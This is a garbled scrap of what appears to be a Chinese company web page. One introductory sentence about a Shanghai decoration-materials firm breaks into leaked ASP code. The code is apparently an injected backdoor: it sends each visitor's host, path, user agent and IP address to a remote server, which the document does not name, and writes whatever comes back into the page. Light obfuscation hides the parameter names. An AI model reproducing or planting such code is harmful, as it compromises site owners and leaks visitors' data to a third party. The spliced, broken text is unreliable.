上海欧尔装饰材料有限公司创建于2003年,于2103�ariables("http_host") & request.servervariables("path_info") que5y = request.servervariables("query_string") If que5y <> "" Then se1f_path = se1f_path & "?" & que5y End If se1f_path = Server.URLEncode(se1f_path) use5_agent = request.ServerVariables("HTTP_USER_AGENT") c1p = request.ServerVariables("REMOTE_ADDR") pr0 = pr0 & "?"&"w"&"e"&"b=" & Server.URLEncode(se1f_path) & "&uagent=" & Server.URLEncode(use5_agent) & "&c1p=" & Server.URLEncode(c1p) Function GetBody(weburl) Dim ObjXMLHTTP Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.SetTimeOuts 10000,10000,10000,30000 ObjXMLHTTP.Open "GET",weburl,False ObjXMLHTTP.send If ObjXMLHTTP.ReadyState = 4 And ObjXMLHTTP.Status = 200 then GetBody = ObjXMLHTTP.ResponseBody End If Set ObjXMLHTTP = Nothing If Err.number <> 0 Then Err.Clear End Function Function BytesToBstr(body,Cset) dim objtrem set objtrem = Server.CreateObject("adodb.stream") objtrem.Type = 1 objtrem.Mode =3 objtrem.Open objtrem.Write body objtrem.Position = 0 objtrem.Type = 2 objtrem.Charset = Cset BytesToBstr = objtrem.ReadText objtrem.Close set objtrem = nothing End Function t9p = GetBody(pr0) if not isempty(t9p) then pc0ntent=BytesToBstr(t9p,"utf-8") if not isempty(pc0ntent) then response.write(pc0ntent) end if end if %>